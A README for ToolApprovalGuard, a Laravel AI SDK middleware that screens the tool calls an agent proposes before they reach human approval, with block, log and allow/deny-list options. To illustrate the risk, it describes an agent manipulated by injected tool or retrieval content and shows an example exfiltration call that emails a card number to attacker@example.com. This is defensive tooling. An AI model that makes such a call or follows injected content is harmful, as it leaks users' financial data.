README

ToolApprovalGuard is a Laravel AI SDK agent middleware that inspects the tool calls an agent proposes while pausing for human approval, before those calls are ever surfaced for review.

It can block, log, or fully delegate handling to a custom callback.

Important

This middleware is part of the Intercept middleware collection. It inspects the tool calls the model proposed. It cannot inspect the tool results, retrieved documents, or conversation history that may have influenced them.

Why this matters

Intercept sees the prompt on its way to the provider. It does not see what a tool returns, what a retrieval step pulled in, or what the model then decided to do with it.

When an agent is manipulated by content Intercept never saw, the damage shows up as a tool call:

send_email(to: "attacker@example.com", body: "card 4111111111111111")

ToolApprovalGuard inspects those proposed calls. It is the first point downstream of that blind spot where the middleware pipeline can act.

Quick start

Installation

composer require promptphp/intercept-tool-approval-guard

You may publish the config or not, the middleware works out of the box.

php artisan vendor:publish --tag=intercept-config

Usage

Return the ToolApprovalGuard middleware on an agent's middleware method.

Important

To add middleware to an agent, implement the HasMiddleware interface and define a middleware method that returns an array of middleware classes.

use Laravel\Ai\Contracts\HasMiddleware;
use PromptPHP\Intercept\ToolApprovalGuard\ToolApprovalGuard;

class SupportAgent implements Agent, HasMiddleware
{
    public function middleware(): array
    {
        return [
            new ToolApprovalGuard,
        ];
    }
}

The middleware only acts when a run pauses for approval. Agents without approval-gated tools are unaffected.

Restricting which tools may be proposed

new ToolApprovalGuard(
    deniedTools: ['delete_record'],
)

new ToolApprovalGuard(
    allowedTools: ['search_docs', 'read_ticket'],
)

An empty allowedTools permits every tool. A non-empty list permits only those named.

Observing before enforcing

new ToolApprovalGuard(
    action: 'log',
)

For the complete guide, see the full documentation below.

Documentation

Full documentation can be found at https://intercept.promptphp.com/ or the docs directory on GitHub.

Contributing

Thank you for considering contributing to Intercept by PromptPHP. The contribution guide can be found in CONTRIBUTING.md.

Code of Conduct

We follow the Laravel Code of Conduct. We expect you to abide by these guidelines as well.

Security Vulnerabilities

If you discover a security vulnerability within Intercept by PromptPHP, please email Victor Ukam at victorjohnukam@gmail.com. All security vulnerabilities will be addressed promptly.

License

Intercept by PromptPHP is open-sourced software licensed under the MIT license.

Support

This library is created by Victor Ukam with contributions from the Open Source Community. If you've found this package useful, please consider sponsoring this project. It will go a long way to help with maintenance.

promptphp / intercept-tool-approval-guard

Maintainers

Package info

Statistics

Security